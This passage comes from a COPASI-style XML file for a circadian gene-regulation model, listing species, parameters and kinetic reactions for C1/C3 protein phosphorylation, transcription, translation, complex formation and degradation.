name="K_C3_P" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_43"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T16:12:31Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_45" name="K_complex" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_45"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T16:11:15Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_47" name="K_C3" simulationType="reactions" compartment="Compartment_3"> </Metabolite> <Metabolite key="Metabolite_49" name="K_C3_mRNA" simulationType="reactions" compartment="Compartment_3"> </Metabolite> <Metabolite key="Metabolite_51" name="K_C3_pre" simulationType="reactions" compartment="Compartment_3"> </Metabolite> <Metabolite key="Metabolite_53" name="junk" simulationType="reactions" compartment="Compartment_3"> </Metabolite> </ListOfMetabolites> <ListOfModelValues> <ModelValue key="ModelValue_53" name="T" simulationType="fixed"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#ModelValue_53"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:57:05Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </ModelValue> <ModelValue key="ModelValue_54" name="T2" simulationType="fixed"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#ModelValue_54"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-06T12:53:52Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </ModelValue> <ModelValue key="ModelValue_55" name="aphase" simulationType="assignment"> <Expression> if(&lt;CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C3_mRNA],Reference=Concentration&gt; lt 10,&lt;CN=Root,Model=circadianC1C3complex,Reference=Time&gt;,0) </Expression> </ModelValue> <ModelValue key="ModelValue_56" name="v7" simulationType="fixed"> </ModelValue> <ModelValue key="ModelValue_57" name="k7" simulationType="fixed"> </ModelValue> <ModelValue key="ModelValue_58" name="peak 1" simulationType="fixed"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#ModelValue_58"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-11T14:06:12Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </ModelValue> <ModelValue key="ModelValue_59" name="peak2" simulationType="fixed"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#ModelValue_59"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-11T14:23:55Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </ModelValue> </ListOfModelValues> <ListOfReactions> <Reaction key="Reaction_19" name="C3_phos" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_19"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T12:34:40Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_25" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_27" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4218" name="vz" value="0.1"/> <Constant key="Parameter_4191" name="T2" value="1"/> </ListOfConstants> <KineticLaw function="Function_55"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_414"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_416"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_412"> <SourceParameter reference="Metabolite_25"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_410"> <SourceParameter reference="Parameter_4218"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_20" name="C3_transk" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_20"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-05T17:21:26Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_21" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_23" stoichiometry="1"/> </ListOfProducts> <ListOfModifiers> <Modifier metabolite="Metabolite_27" stoichiometry="1"/> </ListOfModifiers> <ListOfConstants> <Constant key="Parameter_4192" name="hill" value="2"/> <Constant key="Parameter_4193" name="vx" value="2"/> <Constant key="Parameter_4194" name="kx" value="0.4"/> <Constant key="Parameter_4195" name="T2" value="1"/> </ListOfConstants> <KineticLaw function="Function_56"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_413"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_424"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_422"> <SourceParameter reference="Parameter_4192"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_418"> <SourceParameter reference="Parameter_4194"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_420"> <SourceParameter reference="Metabolite_27"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_417"> <SourceParameter reference="Parameter_4193"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_21" name="C3_mRNADegr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_21"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:07:35Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_23" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4196" name="vxdegr" value="5"/> <Constant key="Parameter_4197" name="kxdegr" value="0.8"/> <Constant key="Parameter_4198" name="T2" value="1"/> </ListOfConstants> <KineticLaw function="Function_57"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_421"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_428"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_426"> <SourceParameter reference="ModelValue_57"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_411"> <SourceParameter reference="Metabolite_23"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_425"> <SourceParameter reference="ModelValue_56"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_22" name="C3_degr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_22"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:07:49Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_25" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4199" name="vydegr" value="2.2"/> <Constant key="Parameter_4200" name="kydegr" value="0.2"/> <Constant key="Parameter_4201" name="T2" value="1"/> </ListOfConstants> <KineticLaw function="Function_58"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_415"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_433"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_431"> <SourceParameter reference="Parameter_4200"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_423"> <SourceParameter reference="Metabolite_25"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_429"> <SourceParameter reference="Parameter_4199"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_23" name="C3_phos_degr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_23"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:07:59Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_27" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4202" name="vzdegr" value="1.5"/> <Constant key="Parameter_4203" name="kzdegr" value="1.4"/> <Constant key="Parameter_4204" name="T2" value="1"/> </ListOfConstants> <KineticLaw function="Function_59"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_430"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_438"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_436"> <SourceParameter reference="Parameter_4203"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_427"> <SourceParameter reference="Metabolite_27"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_434"> <SourceParameter reference="Parameter_4202"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_24" name="C3_transl" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_24"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-06T12:52:49Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_29" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_25" stoichiometry="1"/> </ListOfProducts> <ListOfModifiers> <Modifier metabolite="Metabolite_23" stoichiometry="1"/> </ListOfModifiers> <ListOfConstants> <Constant key="Parameter_4205" name="vy" value="0.3"/> <Constant key="Parameter_4206" name="T2" value="1"/> </ListOfConstants> <KineticLaw function="Function_60"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_432"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_441"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_435"> <SourceParameter reference="Metabolite_23"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_439"> <SourceParameter reference="Parameter_4205"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_25" name="C1_transl" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_25"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-09-27T16:49:42Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_33" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_31" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4207" name="T2" value="0.1"/> <Constant key="Parameter_4208" name="k" value="4"/> </ListOfConstants> <KineticLaw function="Function_61"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_442"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_419"> <SourceParameter reference="Parameter_4208"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_443"> <SourceParameter reference="Metabolite_33"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_26" name="complexformation" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_26"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-09-27T16:48:36Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_35" stoichiometry="1"/> <Substrate metabolite="Metabolite_27" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_37" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4209" name="k" value="20"/> <Constant key="Parameter_4210" name="T2" value="0.1"/> <Constant key="Parameter_4211" name="a" value="2"/> </ListOfConstants> <KineticLaw function="Function_63"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_449"> <SourceParameter reference="Parameter_4209"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_445"> <SourceParameter reference="Metabolite_27"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_450"> <SourceParameter reference="Parameter_4211"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_452"> <SourceParameter reference="Metabolite_35"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_454"> <SourceParameter reference="ModelValue_54"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_27" name="C1_phos" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_27"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-09-27T16:47:57Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_31" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_35" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4212" name="Km" value="0.2"/> <Constant key="Parameter_4213" name="V" value="4"/> </ListOfConstants> <KineticLaw function="Function_8"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_41"> <SourceParameter reference="Metabolite_31"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_30"> <SourceParameter reference="Parameter_4212"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_45"> <SourceParameter reference="Parameter_4213"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_28" name="C1_degr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_28"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-09-27T16:55:30Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_31" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4214" name="V_deg" value="16"/> <Constant key="Parameter_4226" name="T2" value="0.1"/> <Constant key="Parameter_4227" name="k_deg" value="20"/> </ListOfConstants> <KineticLaw function="Function_62"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_444"> <SourceParameter reference="Parameter_4214"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_440"> <SourceParameter reference="ModelValue_54"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_446"> <SourceParameter reference="Metabolite_31"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_448"> <SourceParameter reference="Parameter_4227"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_29" name="K_C1_degr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_29"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:33:29Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_39" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4228" name="V_deg" value="16"/> <Constant key="Parameter_4229" name="T2" value="0.1"/> <Constant key="Parameter_4232" name="k_deg" value="20"/> </ListOfConstants> <KineticLaw function="Function_62"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_444"> <SourceParameter reference="Parameter_4228"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_440"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_446"> <SourceParameter reference="Metabolite_39"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_448"> <SourceParameter reference="Parameter_4232"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_30" name="K_C1_phos" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_30"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:35:17Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_39" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_41" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4231" name="Km" value="0.2"/> <Constant key="Parameter_4233" name="V" value="4"/> </ListOfConstants> <KineticLaw function="Function_8"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_41"> <SourceParameter reference="Metabolite_39"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_30"> <SourceParameter reference="Parameter_4231"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_45"> <SourceParameter reference="Parameter_4233"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_31" name="K_complexf" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_31"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:49:50Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_41" stoichiometry="1"/> <Substrate metabolite="Metabolite_43" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_45" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4230" name="k" value="20"/> <Constant key="Parameter_4234" name="a" value="2"/> <Constant key="Parameter_4235" name="T2" value="0.1"/> </ListOfConstants> <KineticLaw function="Function_63"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_449"> <SourceParameter reference="Parameter_4230"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_445"> <SourceParameter reference="Metabolite_43"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_450"> <SourceParameter reference="Parameter_4234"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_452"> <SourceParameter reference="Metabolite_41"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_454"> <SourceParameter reference="ModelValue_53"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_32" name="K_C1_Transl" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_32"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:44:22Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_33" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_39" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4236" name="T2" value="0.1"/> <Constant key="Parameter_4237" name="k" value="4"/> </ListOfConstants> <KineticLaw function="Function_61"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_442"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_419"> <SourceParameter reference="Parameter_4237"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_443"> <SourceParameter reference="Metabolite_33"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_33" name="K_C3_tranls" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_33"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:47:04Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_51" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_47" stoichiometry="1"/> </ListOfProducts> <ListOfModifiers> <Modifier metabolite="Metabolite_49" stoichiometry="1"/> </ListOfModifiers> <ListOfConstants> <Constant key="Parameter_4238" name="T2" value="0.1"/> <Constant key="Parameter_4239" name="vy" value="0.3"/> </ListOfConstants> <KineticLaw function="Function_60"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_432"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_441"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_435"> <SourceParameter reference="Metabolite_49"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_439"> <SourceParameter reference="Parameter_4239"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_34" name="K_C3_phos_degr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_34"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:39:46Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_43" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4240" name="T2" value="0.1"/> <Constant key="Parameter_4241" name="kzdegr" value="1.4"/> <Constant key="Parameter_4242" name="vzdegr" value="1.5"/> </ListOfConstants> <KineticLaw function="Function_59"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_430"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_438"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_436"> <SourceParameter reference="Parameter_4241"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_427"> <SourceParameter reference="Metabolite_43"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_434"> <SourceParameter reference="Parameter_4242"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_35" name="K_C3_degr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_35"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:52:43Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_47" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4243" name="T2" value="0.1"/> <Constant key="Parameter_4244" name="kxdegr" value="0.2"/> <Constant key="Parameter_4245" name="vxdegr" value="2.2"/> </ListOfConstants> <KineticLaw function="Function_57"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_421"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_428"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_426"> <SourceParameter reference="Parameter_4244"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_411"> <SourceParameter reference="Metabolite_47"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_425"> <SourceParameter reference="Parameter_4245"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_36" name="K_mRNAdegr" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_36"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:50:22Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_49" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_53" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4246" name="T2" value="0.1"/> <Constant key="Parameter_4247" name="kxdegr" value="0.8"/> <Constant key="Parameter_4248" name="vxdegr" value="4.1986"/> </ListOfConstants> <KineticLaw function="Function_57"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_421"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_428"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_426"> <SourceParameter reference="ModelValue_57"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_411"> <SourceParameter reference="Metabolite_49"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_425"> <SourceParameter reference="ModelValue_56"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_37" name="K_C3_transk" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_37"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:45:54Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_21" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_49" stoichiometry="1"/> </ListOfProducts> <ListOfModifiers> <Modifier metabolite="Metabolite_43" stoichiometry="1"/> </ListOfModifiers> <ListOfConstants> <Constant 